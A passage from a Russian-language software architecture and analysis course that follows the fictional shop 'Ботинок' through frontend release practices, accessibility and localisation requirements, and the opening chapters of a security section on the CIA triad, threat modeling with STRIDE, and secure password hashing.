Где SRI не поможет. Только для файлов с фиксированным содержимым. polyfill.io отдавал разный код под разные браузеры — хеш к нему не подставить. Поэтому надёжный ответ на такие сервисы — копировать файл к себе и раздавать со своего CDN.
  • «Все страницы отдаются с заголовком CSP на основе одноразовых ключей (nonce) без 'unsafe-inline' и 'unsafe-eval', с frame-ancestors 'none'; нарушения отправляются в мониторинг».
  • «Токены доступа в браузер не передаются; сессия — cookie с флагами HttpOnly, Secure, SameSite=Strict. Сторонние скрипты на странице оплаты запрещены».

глава 14 · выпуск сборка, CDN, атомарный деплой, флаги и ошибки в проде

Пятница, 14:05. Команда Каталога выкатила новую версию. В 14:10 у части покупателей — белый экран при открытии вкладки «Отзывы». Откатывали сорок минут. Разберёмся, как устроен выпуск фронтенда и где он ломается. Общие принципы конвейера — в разделе , стратегии выкатки и флаги — в .

Сборка фронтенда (build) — превращение исходников (TypeScript, JSX, модули, стили) в файлы, которые понимает браузер: склейка, минификация, разделение на куски, хеши в именах. Ведущий инструмент — Vite: в разработке отдаёт модули браузеру напрямую и обновляется мгновенно, а для продакшена с версии 8 (март 2026) собирает быстрым сборщиком Rolldown на Rust. В Next.js с версии 16 сборщик по умолчанию — Turbopack.
типография. Рукопись (исходники) набирают, вёрстку сжимают, книгу печатают тиражом и развозят по киоскам (CDN). Переиздание получает новый номер издания — старое никто не перепечатывает поверх.
$ vite build
dist/index.html                       0.6 kB
dist/assets/index-B3x9aQ2c.css          38.2 kB │ gzip: 9.1 kB
dist/assets/index-Cj7kP0fd.js          142.8 kB │ gzip: 46.0 kB
dist/assets/reviews-D1mZx8Lw.js        96.4 kB │ gzip: 31.7 kB   ← ленивый кусок вкладки «Отзывы»
# имена с хешем → кешировать на год; index.html → всегда проверять (глава 6)

Артефакт

Статический сайт (SPA, SSG) — это папка файлов: она едет в объектное хранилище и на CDN, сервер не нужен. Для SSR и RSC добавляется серверная часть на Node.js — её упаковывают в контейнер, как любой сервис (раздел ).

Одна сборка — много сред

Собираем один раз, а тестовую, предпродакшен и продакшен отличают настройки, которые подставляются при выдаче (например, через /config.json или переменные сервера). Пересобирать «для прода» — значит выпускать не то, что тестировали.

Атомарный деплой и что ломается без него

Атомарный деплой (atomic deploy) — выпуск, при котором пользователи видят либо целиком старую версию, либо целиком новую, и никогда — смесь. Делается так: сначала выкладываются все новые файлы (их имена не пересекаются со старыми благодаря хешам), потом одним действием переключается указатель — какой index.html отдавать. Старые файлы остаются на месте ещё какое-то время.
переезд магазина в соседнее здание. Сначала полностью обставляем новое помещение, потом в одну минуту переносим вывеску. Старое помещение не сносим неделю: вдруг кто-то из покупателей ещё внутри.
Расхождение версий (version skew) — у пользователя открыта вкладка со старой версией фронтенда, а сервер, CDN и API уже новые. Старая вкладка просит лениво догрузить свой кусок кода — а его удалили; или шлёт запрос в старом формате — а API его больше не понимает.

Выберите сценарий выпуска версии v42 вместо v41.

Проще говоря. Новые файлы — до переключения. Переключение — одним действием. Старые файлы — храним дольше, чем живёт самая старая вкладка. API — совместим с предыдущей версией фронта. Откат — то же переключение указателя назад, за секунды, без пересборки.

Флаги и A/B-тесты на фронте

Основы — в разделе , глава о флагах: выкатить ≠ включить. Особенности фронтенда:

Мигание

Если флаг или вариант A/B-теста вычисляется в браузере после загрузки, Анна на миг видит старую версию, потом новую. Это портит и впечатление, и CLS. Лечится вычислением на сервере или на краю CDN — вариант приходит уже в HTML.

Стандарт и поставщики

OpenFeature — открытый стандарт API флагов (проект CNCF): код не привязан к поставщику (LaunchDarkly, Unleash, GrowthBook, собственный сервис). У мобильного приложения флаги — единственный способ выключить фичу без выпуска в магазине.

Ограничители эксперимента

Вариант Б может поднять конверсию и уронить LCP. В эксперимент добавляют «ограничители» — Core Web Vitals и ошибки JavaScript — и останавливают вариант, если они ухудшились. Флаги после эксперимента удаляют из кода.

Ошибки в проде: Sentry и RUM

RUM (real user monitoring, мониторинг реальных пользователей) — сбор метрик прямо из браузеров покупателей: Core Web Vitals, ошибки, долгие задачи, с разбивкой по странице, устройству, сети и версии релиза. Библиотека web-vitals снимает LCP, INP и CLS так же, как Chrome.
лабораторный тест — это проверка нового автомобиля на испытательном треке. RUM — телеметрия с каждой проданной машины на настоящих дорогах, в снег и в пробках.

Отслеживание ошибок

Sentry и аналоги ловят необработанные ошибки JavaScript со стеком вызовов. Чтобы стек был читаемым, при сборке в Sentry загружают карты исходников (source maps) — но не выкладывают их публично. Каждое событие помечено версией релиза и командой-владельцем блока — так видно, что ошибки начались в 14:05 с релизом v42.

Что нельзя собирать

Запись сессий и журналы ошибок легко захватывают личные данные: адрес, телефон, номер карты в поле ввода. Маскирование полей по умолчанию и согласие на аналитику — требования, а не пожелания (раздел , глава о персональных данных). Подробнее о метриках и трассах — в .

  • «Выпуск фронтенда атомарный; файлы предыдущих версий доступны не менее 30 дней; откат на предыдущую версию — не дольше 5 минут, без пересборки».
  • «Ошибки JavaScript и Core Web Vitals собираются с реальных пользователей с пометкой версии релиза; рост доли ошибок более чем вдвое за 15 минут после выпуска — автоматическое оповещение команды».

глава 15 · аналитику доступность, языки и требования к фронтенду

Понедельник. Олег садится переписывать требования. В старой постановке было три строчки: «сайт должен быстро загружаться», «поддерживать все браузеры», «быть удобным». Ни одну нельзя проверить. Сначала — две темы, о которых часто забывают.

Доступность: WCAG 2.2

Доступность (accessibility, сокращают как a11y) — возможность пользоваться интерфейсом людям с особенностями зрения, слуха, моторики, внимания: через экранный диктор, только с клавиатуры, с увеличенным шрифтом. Стандарт — WCAG (Web Content Accessibility Guidelines) консорциума W3C; версия 2.2 — с октября 2023 года. Уровни A, AA, AAA; ориентир для требований — AA.
пандус у входа в магазин. Его делают для коляски, а пользуются им все: мама с детской коляской, курьер с тележкой, человек с чемоданом. Подписи к видео смотрят в метро без звука, а крупная кнопка удобна всем на ходу.

Что проверить в первую очередь

Всё работает с клавиатуры, фокус виден и не прячется под липкой шапкой. У картинок — осмысленный альтернативный текст. У полей — подписи, а ошибки объяснены словами, не только красным цветом. Контраст текста — не меньше 4,5:1 (крупного — 3:1). Кнопки и иконки — понятные диктору названия.

Что нового в 2.2

Цель нажатия — не меньше 24×24 CSS-пикселя. Фокус не должен скрываться под другими элементами. Вход без «когнитивных тестов» вроде распознавания картинок — должна быть альтернатива (например, вставка пароля из менеджера). Перетаскивание — с альтернативой нажатием. Помощь — в одном и том же месте на всех страницах. Не просить вводить одно и то же дважды.

Это не только этика. В ЕС с 28 июня 2025 года действует Европейский акт о доступности (EAA) для интернет-магазинов и многих других сервисов; техническая опора — стандарт EN 301 549, который ссылается на WCAG уровня AA. В России есть ГОСТ Р 52872-2019 с требованиями доступности интернет-ресурсов. Встроенная в дизайн-систему доступность (глава 10) — самый дешёвый способ её получить: каждая команда берёт уже доступную кнопку.

Интернационализация и локализация

Интернационализация (i18n) — подготовка интерфейса к любым языкам и регионам: тексты вынесены из кода, форматы дат, чисел и валют берутся из настроек региона. Локализация (l10n) — перевод и адаптация под конкретный язык и рынок.
кухня, которую строили сразу с розетками под любые вилки, — против кухни, где под каждую новую страну приходится долбить стены.

Формы множественного числа

«1 товар, 2 товара, 5 товаров» — у русского три формы, у английского две, у арабского шесть. Склейка строк «Найдено » + n + « товаров» ломается. Нужны правила (Intl.PluralRules, формат сообщений ICU).

Числа, даты, валюты

Встроенный Intl.NumberFormat с регионом ru-RU и валютой RUB даст «4 990,00 ₽», а с регионом en-US — «RUB 4,990.00». Даты и часовые пояса — из настроек, не вручную.

Длина и направление

Немецкий текст длиннее русского, кнопки должны растягиваться. Арабский и иврит пишутся справа налево — вёрстка на логических свойствах CSS (margin-inline-start) переворачивается сама.

Требования к фронтенду: плохо и хорошо

ПлохоХорошоЧто это даёт команде
Сайт должен быстро загружатьсяНа мобильных по данным RUM за 28 дней: LCP ≤ 2,5 с, INP ≤ 200 мс, CLS ≤ 0,1 на 75-м перцентиле для каталога, карточки и корзины. В лаборатории — профиль «медленный телефон» Lighthouse.Известно, что, где и на ком мерить; выбор SSR/SSG вместо CSR следует из чисел
Поддерживать все браузерыПоследние 2 версии Chrome, Safari, Firefox, Edge, Яндекс Браузера и Samsung Internet; Safari на iOS от 16.4. В остальных — базовый просмотр и оформление заказа без ошибок.Настройка сборки (browserslist), объём полифилов, матрица тестирования
Должно работать офлайнБез сети доступны просмотренные товары, избранное и история заказов; оформление недоступно с объяснением; действия с избранным синхронизируются при восстановлении сети.Стратегии service worker и сценарии интерфейса без сети
Сайт должен хорошо индексироватьсяКаталог и карточки отдаются с сервера полным HTML: title, description, Open Graph, canonical, разметка schema.org Product; карта сайта обновляется ежедневно.Способ отрисовки для публичных страниц; превью ссылок в мессенджерах
Сайт должен быть доступнымСоответствие WCAG 2.2 уровня AA; все сценарии покупки проходимы с клавиатуры и с VoiceOver/TalkBack; проверка автоматическим тестом на каждом выпуске и ручной аудит раз в квартал.Критерии приёмки, проверяемые тестами
Поддержка нескольких языковРусский и казахский интерфейс, английский — для справки; цены в рублях и тенге по региону; даты и числа — по региону; тексты хранятся вне кода и переводятся без выпуска.Архитектура i18n закладывается сразу, а не «потом переведём»

Тренажёр: выберите лучшую формулировку

Решено 0 из 0.

Частые ошибки в постановках для фронтенда

Нажмите на пункт, чтобы раскрыть.

глава 16 · проверь себя двенадцать вопросов по истории «Ботинка»

Если ответ не очевиден, вернитесь к главе: способы отрисовки (3–4), метрики (5), вес и водопад (6–7), данные и состояние (8–9), микрофронтенды (11), офлайн (12), безопасность (13), выпуск (14).

Решено 0 из 0.

Весь раздел в пяти фразах. Быстрая страница — та, где ничего лишнего не стоит на пути к первому кадру и к первому нажатию. Способ отрисовки выбирают для каждой страницы: публичное — с сервера или заранее, за логином — можно в браузере. Скорость меряют на реальных телефонах тремя числами — LCP, INP, CLS — и охраняют бюджетом. Микрофронтенды нужны многим командам для независимых выпусков, а не одной команде для красоты. Офлайн, безопасность, доступность и выпуск без белых экранов — это требования, которые аналитик записывает числами.
Дальше → безопасность: угрозы, шифрование, секреты, OWASP и нулевое доверие

Безопасность — это не замок на входе, а привычка на каждом шаге. Взлом почти никогда не бывает кино со взломщиком в капюшоне. Обычно это скучная мелочь: забыли одну проверку, оставили один ключ в коде, не записали одно событие в журнал. Раздел проведёт вас через одно расследование в магазине «Ботинок»: от письма «у вас утекли заказы» до списка требований, после которых такое не повторится. По дороге разберём угрозы, пароли, шифры, секреты, уязвимости, модели доступа и персональные данные.

зачем это зачем архитектору и аналитику безопасность

карта раздела одно расследование, восемнадцать глав

Главы идут по порядку расследования: сначала — что случилось и какими словами это описывать, потом — механизмы защиты, потом — типовые дыры, в конце — как всё это записать в требования. Нажмите на главу, чтобы перейти к ней.

глава 1 · завязка понедельник, 09:12: «у вас утекли заказы»

09:12На общую почту «Ботинка» приходит письмо от журналиста: «В одном из каналов выложили таблицу: 48 000 заказов вашего магазина. Имена, телефоны, адреса доставки. Можете прокомментировать?»
09:40В переговорке собираются трое. Борис — разработчик сервиса заказов. Олег — системный аналитик, он писал требования к личному кабинету. И Вера — инженер по безопасности, её позвали впервые за год. Вера спрашивает: «Что именно пострадало? Кто мог это сделать? Какие двери были открыты?» Ответить на эти вопросы оказалось трудно: у команды не было даже общих слов.

Начнём со слов. Их немного, и все они понадобятся в каждой следующей главе.

Информационная безопасность (information security) — защита информации и систем от тех, кто хочет её прочитать, испортить или сделать недоступной без права на это. Её принято раскладывать на три свойства — триаду CIA.

🔒 Конфиденциальность

Confidentiality. Прочитать может только тот, кому положено. Утечка 48 000 заказов — удар ровно сюда.

Житейски: письмо в запечатанном конверте. Почтальон его несёт, но не читает.

🧾 Целостность

Integrity. Данные не изменили тайком. Если кто-то поменял цену в корзине с 12 990 ₽ на 1 ₽ — пострадала целостность.

Житейски: пломба на счётчике воды. Её не видно, пока всё хорошо, но сорванную пломбу замечают сразу.

🟢 Доступность

Availability. Система работает, когда нужна. Если магазин завалили мусорными запросами в «чёрную пятницу» — пострадала доступность.

Житейски: банкомат, который работает в три часа ночи, когда вам срочно нужны наличные.

Проще говоря. Любую беду с безопасностью можно описать одним вопросом: что сломалось — секретность, правильность или работоспособность? Часто сразу несколько. Это помогает понять, что защищать в первую очередь.

Три «А»: паспорт, пропуск и журнал

AAA — три вопроса, которые система задаёт каждому, кто к ней пришёл: аутентификация (authentication — «кто ты?»), авторизация (authorization — «что тебе можно?») и учёт (accounting, ещё говорят «аудит» — «что ты сделал?»).
бизнес-центр. На входе охранник смотрит паспорт и убеждается, что вы — это вы (аутентификация). Потом выдаёт пропуск, который открывает только третий этаж (авторизация). А в журнале на вахте остаётся запись: кто, когда пришёл и куда прошёл (учёт). Если ночью пропадёт ноутбук, журнал — единственное, что поможет понять, кто был в здании.

🪪 Аутентификация

Доказать личность: пароль, код из приложения, ключ доступа (passkey), сертификат. Ошибка — ответ 401. Как устроен вход, токены и единый вход — в разделе .

🗝 Авторизация

Решить, можно ли этому человеку сделать это с этим объектом. Ошибка — ответ 403 (или 404, чтобы не выдавать, что объект существует). Подробно — в главе 12.

📋 Учёт

Записать, кто что сделал, так, чтобы запись нельзя было тихо исправить. Без этого не расследовать ни утечку, ни спор «я не менял эту цену». Подробно — в главе 15.

Коротко про 401 и 403 уже было в разделе : там шлюз проверяет токен. Здесь пойдём глубже — в то, что шлюз проверить не может.

Актив, угроза, уязвимость, риск

Вера рисует на доске четыре слова. Их путают даже опытные люди, а в требованиях они должны стоять точно.

Актив (asset)

То, что ценно и что защищаем. Для «Ботинка»: данные покупателей, деньги, цены, репутация, сама возможность продавать.

Угроза (threat)

Что плохое может случиться с активом. «Посторонний прочитает чужие заказы». Угроза существует, даже если дыры нет.

Уязвимость (vulnerability)

Конкретная слабость, через которую угроза становится реальностью. «Сервис заказов не проверяет, чей это заказ».

Риск (risk)

Насколько всё плохо: вероятность × ущерб. Риск можно снизить, передать (страховка), принять осознанно. Нельзя только игнорировать.

актив — велосипед. Угроза — его украдут. Уязвимость — вы не пристегнули его у подъезда. Риск — высокий, если подъезд в центре города и велосипед дорогой; низкий, если это старый велосипед на даче.

Что было в понедельник — разложите по буквам CIA

Вера перечисляет, что команда нашла за первый день. Для каждой находки выберите, какое свойство пострадало в первую очередь.

Решено 0 из 0.

Чем кончился понедельник. К вечеру Вера нашла причину. Заказы открывались по адресу вида /api/orders/10452. Сервис проверял, что человек вошёл в систему, но не проверял, что заказ его. Кто-то вошёл обычным покупателем и за ночь перебрал номера подряд. Ни лимитов, ни оповещений не сработало. Одна забытая проверка и одно незаписанное событие. Дальше разберём, как такое находить заранее и как закрывать.

глава 2 · принципы не один замок, а несколько: принципы защиты

У Бориса первая реакция: «Добавим проверку владельца — и всё». Вера соглашается, что это надо сделать сегодня же. Но спрашивает: «А что, если завтра забудем другую проверку? Что нас подстрахует?» Для этого есть несколько старых принципов. Они не про конкретную технологию, а про то, как думать.

Поверхность атаки (attack surface) — все места, через которые в систему можно что-то передать или что-то из неё достать: адреса API, формы, загрузка файлов, открытые порты, админки, интеграции, даже люди с доступом.
дом. Чем больше дверей, окон и люков, тем больше мест, которые надо запирать и проверять. Заколоченное окно, которым никто не пользуется, безопаснее окна с самым лучшим замком.

Отсюда простое правило: ненужное — выключить. Старая версия API, которой пользуется одно забытое приложение; отладочный адрес; открытая наружу панель управления базой. У «Ботинка» Вера нашла старую версию /api/v0/orders: в новой проверки добавили, в старую — нет.

Глубокая защита (defense in depth) — несколько независимых слоёв защиты. Каждый слой дырявый, но дыры в разных местах, и насквозь не проходит почти ничего.
квартира: замок на двери подъезда, замок на двери квартиры, сигнализация, сейф для документов. Взломщик, который прошёл подъезд, ещё не у сейфа. Инженеры по безопасности называют это моделью швейцарского сыра: сложите несколько ломтиков — и сквозная дырка найдётся очень редко.
Наименьшие привилегии (least privilege) — каждый человек и каждый сервис получает ровно те права, которые нужны для его работы, и не больше. И лучше — на ограниченное время.
ключ-карта в гостинице открывает ваш номер и спортзал. Не соседний номер и не кухню. Потеряли карту — нашедший не попадёт никуда, кроме вашего номера, а утром карту перевыпустят.

У «Ботинка» сервис заказов ходил в базу под учётной записью с правом делать всё, включая удаление таблиц. Сервис отчётов — тоже под ней. Если бы взломали сервис отчётов, достались бы права на всё.

Безопасность по умолчанию (secure by default) — система из коробки настроена безопасно. Чтобы ослабить защиту, нужно специально что-то сделать, а не наоборот.
новая входная дверь продаётся запертой, а не с ключом, торчащим в замке. Новый роутер с уникальным паролем на наклейке, а не с общим «admin/admin».

Для кода это значит: всё запрещено, пока явно не разрешено (deny by default). Новый адрес API без описанных прав не должен открываться всем — он должен не открываться никому.

Отказ в закрытое состояние (fail closed, fail secure) — если сломалась сама проверка, система отказывает, а не пропускает.
электронный замок сейфа при отключении света остаётся запертым. А вот дверь аварийного выхода, наоборот, открывается: там важнее жизнь людей. Выбор «открыто или закрыто при сбое» — осознанное решение, а не случайность.

Пример из «Ботинка»: если сервис проверки прав не ответил за 300 мс, шлюз должен вернуть ошибку, а не «ладно, пропущу». Этот случай — новый пункт в списке OWASP 2025 (глава 9).

Разделение обязанностей

(separation of duties) Одно опасное действие требует двух людей. Разработчик не выкатывает свой код в прод без ревью; сотрудник не может сам себе поднять права.

Житейски: банковская ячейка открывается двумя ключами — вашим и ключом банка.

Не прятать вместо защищать

(no security through obscurity) Секретный адрес админки или «никто не догадается про этот параметр» — не защита. Адреса утекают в логи, в историю браузера, в код приложения. Прятать можно в дополнение к замку, но не вместо него.

Слои защиты вживую: сколько ломтиков сыра нужно

Ниже пять типовых атак на «Ботинок» и семь слоёв защиты. Включайте и выключайте слои, затем нажмите «▶ Пустить атаки». Каждая атака идёт слева направо через включённые слои. Зелёный слой её остановил, жёлтый — только ослабил. Попробуйте найти, какой минимальный набор слоёв останавливает всё, а потом — выключить любой один слой и посмотреть, что изменится.

Как читать. Серые плашки — выключенные слои. Журнал безопасности ничего не блокирует: он отвечает на вопрос «узнаем ли мы об атаке». Без него даже остановленная атака остаётся незамеченной, и злоумышленник пробует снова, другим способом.
Что вы увидите. Две атаки из пяти останавливает только один «настоящий» слой: чужие заказы — проверка владельца в сервисе, инъекцию — безопасный код. Шлюз с лимитами их лишь замедляет. Это главный урок главы: глубокая защита не отменяет правильной проверки на своём месте. Слои снаружи покупают время, но не заменяют замок у самого сейфа.

глава 3 · угрозы карта угроз STRIDE: где у «Ботинка» тонко

Вторник. Вера предлагает не ждать следующей утечки, а пройти по схеме системы и для каждого элемента спросить: «Что здесь может пойти не так?» Это называется моделированием угроз.

Моделирование угроз (threat modeling) — разбор схемы системы с вопросом «как это можно сломать» до того, как это сломали. Классическая форма — четыре вопроса: над чем мы работаем? что может пойти не так? что мы с этим сделаем? хорошо ли мы справились?
перед походом в горы проходят маршрут по карте: здесь брод — вода может подняться; здесь перевал — может испортиться погода. Для каждого места заранее решают, что делать. Идти без такого разбора можно, но в плохой день это заканчивается спасателями.

Схема потоков данных: пять значков

Диаграмма потоков данных (data flow diagram, DFD) — схема, на которой видно, откуда данные приходят, где обрабатываются, где лежат и куда уходят. Для безопасности на ней рисуют границы доверия.

▭ Внешняя сущность

Кто-то вне нашей власти: покупатель, платёжный провайдер, сотрудник.

◯ Процесс

То, что обрабатывает данные: сервис, шлюз, задача по расписанию.

═ Хранилище

Где данные лежат: база, очередь, файлы, бэкапы, журналы.

→ Поток

Движение данных между элементами: запрос, событие, файл.

┄ Граница доверия

(trust boundary) Линия, где меняется «кому мы верим». Каждый поток, который её пересекает, — место для проверки.

граница доверия — это проходная на заводе. Внутри цеха люди друг друга знают. Всё, что проносят через проходную, досматривают. Больше всего бед случается там, где проходной нет, а все думают, что она есть.

STRIDE: шесть вопросов к каждому элементу

STRIDE — список из шести видов угроз, придуманный в Microsoft. Каждая буква — угроза, и у каждой есть «противоположное» свойство, которое её закрывает.
БукваУгрозаЖитейскиЧто нарушеноЧем закрывают
SSpoofing — подмена личностиПозвонили «из банка»АутентификацияПароль + второй фактор, сертификаты, mTLS
TTampering — подделка данныхИсправили оценку в дневникеЦелостностьПодписи, TLS, проверка на сервере
RRepudiation — отказ от действий«Я этот чек не подписывал»НеотказуемостьЖурнал аудита, который нельзя тихо править
IInformation disclosure — раскрытиеПрочитали чужое письмоКонфиденциальностьПроверка прав, шифрование, минимизация данных
DDenial of service — отказ в обслуживанииЗаняли все столики и ничего не заказалиДоступностьЛимиты, квоты, устойчивость
EElevation of privilege — повышение правГость прошёл на кухню ресторанаАвторизацияПроверка прав на каждом действии, наименьшие привилегии

Не каждая буква подходит каждому значку. Внешней сущности грозят S и R (кто-то притворится покупателем или откажется от заказа). Потоку — T, I, D (подменят, подслушают, перекроют). Хранилищу — T, I, D и R, если это журнал. Процессу — все шесть.

Карта «Ботинка»: нажимайте на элементы

Нажмите на любой значок, номер потока или название зоны. Под схемой появятся угрозы этого элемента и то, чем их закрываем. Кнопки с буквами подсвечивают все элементы, которым грозит эта буква.

внешняя сущностьпроцессхранилищеграница доверия① — поток данных (нажимается номер)
Разобрано элементов: 0 из 0
Как этим пользоваться в работе. Моделирование угроз делают на ревью архитектуры новой функции, а не раз в год. Результат — таблица: элемент, угроза по STRIDE, мера, статус (закрыто, в плане, риск принят), ответственный. Меры попадают в требования и в задачи. Хватает часа, бумаги и трёх человек: аналитика, разработчика и кого-то, кто думает как нарушитель.
Типичные ошибки. Рисовать схему «как хотелось бы», а не как есть — старый /api/v0 на ней не окажется. Забывать хранилища «второго сорта»: бэкапы, журналы, выгрузки в Excel. Считать внутреннюю сеть одной зоной доверия (об этом — глава 13).

глава 4 · пароли как хранить пароли, чтобы утечка базы не стала катастрофой

Среда. Вера находит в облачном хранилище старый бэкап базы пользователей трёхлетней давности. Он лежал с общим доступом по ссылке. В нём — почты и пароли. Не открытым текстом, а в виде хешей MD5. Борис облегчённо выдыхает: «Хеши же нельзя расшифровать». Вера отвечает: «Расшифровать нельзя. А подобрать — очень даже». Разберёмся, почему.

Хеш-функция (hash function) — преобразование, которое из любых данных делает «отпечаток» фиксированной длины. Одинаковый вход всегда даёт одинаковый отпечаток, а по отпечатку нельзя восстановить вход обратным вычислением.
мясорубка. Из мяса фарш сделать легко, из фарша мясо — нельзя. Но если у вас есть фарш и подозрение, что это говядина, можно прокрутить кусок говядины и сравнить. Так и с паролями: хеш не расшифровывают, а угадывают пароль, хешируют и сравнивают.

Сервер при входе поступает так же: берёт введённый пароль, считает хеш и сравнивает с сохранённым. Сам пароль сервер не хранит и узнать его не может. Поэтому правильный ответ сайта на «забыл пароль» — ссылка для смены, а не письмо со старым паролем. Если сайт присылает вам ваш пароль — он хранит его открытым текстом.

Проблема 1: быстрые хеши

MD5, SHA-1 и SHA-256 сделаны, чтобы быть быстрыми: ими проверяют целостность гигабайтных файлов. Для паролей это плохо. Угадывание — это миллиарды попыток, и каждая быстрая попытка стоит нападающему почти ничего. Короткий пароль из словаря при быстром хеше подбирается мгновенно.

Проблема 2: одинаковые пароли — одинаковые хеши

Если у Бориса и у тысячи других людей пароль qwerty123, у них в базе одинаковый хеш. Можно заранее посчитать хеши самых популярных паролей и просто искать совпадения.

Радужная таблица (rainbow table) — заранее посчитанный справочник «хеш → пароль» для множества вероятных паролей. Строго говоря, это хитро сжатая форма такого справочника, но смысл тот же: один раз посчитали — дальше ищем за доли секунды.
телефонная книга, отсортированная по номерам. Если у вас есть номер, найти владельца — секунда, потому что кто-то уже проделал всю работу за вас.

Лекарство 1: соль

Соль (salt) — случайная строка, уникальная для каждого пароля. Её добавляют к паролю перед хешированием и хранят рядом с хешем открыто. Соль не секрет: её задача — сделать хеши разными.
у каждого повара свой уникальный набор специй. Даже из одинакового мяса у всех получается разный фарш. Справочник «какой фарш из какого мяса», составленный заранее, становится бесполезным: для каждого повара его пришлось бы составлять заново.

С солью у Бориса и у тысячи других людей с паролем qwerty123 хеши разные. Заранее посчитанные таблицы не работают. Подбирать приходится для каждого пользователя отдельно — работа умножается на число пользователей.

Лекарство 2: медленный хеш

Функция хеширования паролей (password hashing function) — специально медленный и требовательный к памяти хеш. Одна проверка при входе занимает, скажем, 50 миллисекунд — пользователь этого не заметит. А подбор, где нужны миллиарды проверок, становится в миллионы раз дороже.
кодовый замок, который после каждой попытки думает полсекунды. Хозяину, который знает код, полсекунды не мешают. Тому, кто перебирает все комбинации, они превращают вечер в столетия.
АлгоритмЧто этоРекомендация OWASP (минимум)
Argon2idПобедитель конкурса Password Hashing Competition 2015, RFC 9106. Нагружает и процессор, и память — видеокартам и специальным чипам так труднее. Первый выбор.память 19 МиБ, 2 прохода, параллелизм 1 (m=19456, t=2, p=1). Равноценные варианты: 46 МиБ и 1 проход; 12 МиБ и 3; 9 МиБ и 4; 7 МиБ и 5.
scryptТоже требует много памяти. RFC 7914. Хороший выбор, если Argon2id недоступен.N=217 (128 МиБ), r=8, p=1
bcryptПроверенный временем (1999). Для старых систем. Внимание: учитывает только первые 72 байта пароля.фактор стоимости не меньше 10
PBKDF2Много раз повторённый обычный хеш. RFC 8018. Нужен, когда требуется соответствие стандарту FIPS-140.HMAC-SHA-256: 600 000 итераций
MD5, SHA-1, SHA-256 «как есть»Быстрые хеши общего назначения.Для паролей нельзя, даже с солью

Лекарство 3: перец

Перец (pepper) — ещё один секрет, общий для всех паролей, который добавляют при хешировании. В отличие от соли, перец не хранят в базе: он лежит в хранилище секретов или в аппаратном модуле (главы 7–8).
соль — это специи повара, их видно на кухне. Перец — семейный рецепт, который хранится не на кухне, а в сейфе у хозяина. Украли кухонную тетрадь (базу) — без рецепта из сейфа она бесполезна.

Перец спасает, если утекла только база, а сервер с секретами — нет. Цена: его нельзя просто поменять — все старые хеши считались с ним. Поэтому перец — дополнительный слой, а не замена соли и медленного хеша.

Живая модель: база пользователей с солью и без

Ниже учебная база «Ботинка» из четырёх человек. Хеш здесь учебный — короткий и наглядный, не настоящий SHA-256. Но ведёт он себя так же: одинаковый вход — одинаковый выход. Справа — «справочник» заранее посчитанных хешей для популярных паролей. Переключайте режимы хранения и смотрите, что остаётся видно.

Таблица users (утёкший бэкап)

Справочник популярных паролей

Калькулятор: во сколько раз дороже подбор

Посчитаем не «сколько секунд», а соотношения — они понятнее и меньше зависят от железа. Возьмём за единицу стоимость одной попытки с быстрым хешем. Двигайте длину пароля, набор символов и алгоритм. Столбики показывают, сколько работы нужно на полный перебор одного пароля и всей утёкшей базы.

8
10 000
Как считается. Вариантов пароля: символовдлина. Медленные алгоритмы дороже быстрого хеша примерно так: PBKDF2 с 600 000 итераций — в сотни тысяч раз; bcrypt с фактором 12 и Argon2id с 19 МиБ — в миллионы раз (а Argon2id ещё и съедает память, поэтому на видеокартах его параллелить труднее). Это порядки величин, а не точные замеры. Без соли вся база подбирается за ту же работу, что и один пароль: каждый угаданный хеш сравнивается сразу со всеми строками. С солью работа умножается на число пользователей.
Что вы увидите. Популярный пароль не спасает никакой алгоритм: его угадывают первым. Медленный хеш защищает нормальные пароли. Поэтому в требованиях всегда два пункта: хранить через Argon2id с солью и не принимать пароли из списков утёкших и популярных.

Как это звучит в требованиях

НФТ-SEC-04. Пароли пользователей хранятся только в виде хеша Argon2id
  (память ≥ 19 МиБ, проходов ≥ 2, параллелизм 1) с уникальной случайной солью
  не короче 16 байт. Параметры хеша хранятся вместе с ним, чтобы их можно
  было усилить без сброса паролей.
НФТ-SEC-05. Минимальная длина пароля — 12 символов (15, если вход без второго
  фактора); максимальная — не меньше 64. Требований «заглавная + цифра +
  символ» нет. Пароль проверяется по списку популярных и утёкших паролей.
НФТ-SEC-06. Пароль никогда не записывается в журналы, трассировки, аналитику
  и сообщения об ошибках — ни целиком, ни частично.
Требования к длине и отказ от «обязательных спецсимволов» — из стандарта NIST SP 800-63B (редакция 4, 2025): длинный простой пароль стойкий и запоминается, а правило «заглавная + цифра» порождает Qwerty1!. Принудительная смена пароля «раз в 90 дней» там тоже больше не рекомендуется — менять нужно при признаках компрометации. Полное устройство входа, второй фактор и ключи доступа (passkeys) — в разделе .
Чем кончилась среда. Бэкап удалили и закрыли доступ по ссылке. Пароли пользователей из той базы принудительно сбросили: MD5 без соли считается уже раскрытым. При следующем входе каждого пользователя его пароль перехешировали через Argon2id — так мигрируют без массового сброса. Какие пароли «сидят» только в старом формате, видно по префиксу хеша $argon2id$….

глава 5 · криптография шифры, подписи и сертификаты — на пальцах

Четверг. Олег пишет требование «данные клиентов должны быть зашифрованы» и понимает, что не знает, что конкретно просить. Шифровать чем? Где ключ? Кто может расшифровать? Разберём по порядку, без формул.

Сначала — три слова, которые путают

Что делаетКто может вернуть исходноеПримерДля чего
Кодирование
(encoding)
Меняет форму записиЛюбой, ключ не нуженBase64, URL-кодированиеПередать байты через текстовый канал. Это не защита.
Шифрование
(encryption)
Прячет смыслТолько владелец ключаAES, ChaCha20, RSAСпрятать данные от посторонних
Хеширование
(hashing)
Делает отпечатокНикто — только угадать и сравнитьSHA-256, Argon2idПроверить целостность, хранить пароли
Частая ошибка. «Мы передаём паспортные данные в Base64, значит, они зашифрованы». Нет. Base64 раскодирует любой, кто откроет строку в онлайн-декодере. Сюда же — токен JWT: он подписан, но по умолчанию не зашифрован, его содержимое читается.

Симметричное шифрование: один ключ на двоих

Симметричное шифрование (symmetric encryption) — один и тот же ключ и запирает, и отпирает. Быстрое: гигабайты в секунду. Стандартные алгоритмы — AES-256-GCM и ChaCha20-Poly1305. Режим GCM (и Poly1305) не только прячет данные, но и обнаруживает, если их подменили.
ящик с навесным замком и два одинаковых ключа: один у вас, другой у друга. Положил, запер, отправил. Друг открыл своим ключом. Всё прекрасно, пока не встаёт вопрос: как передать другу второй ключ, если вы в разных городах, а почтальону вы не доверяете?

Асимметричное шифрование: почтовый ящик со щелью

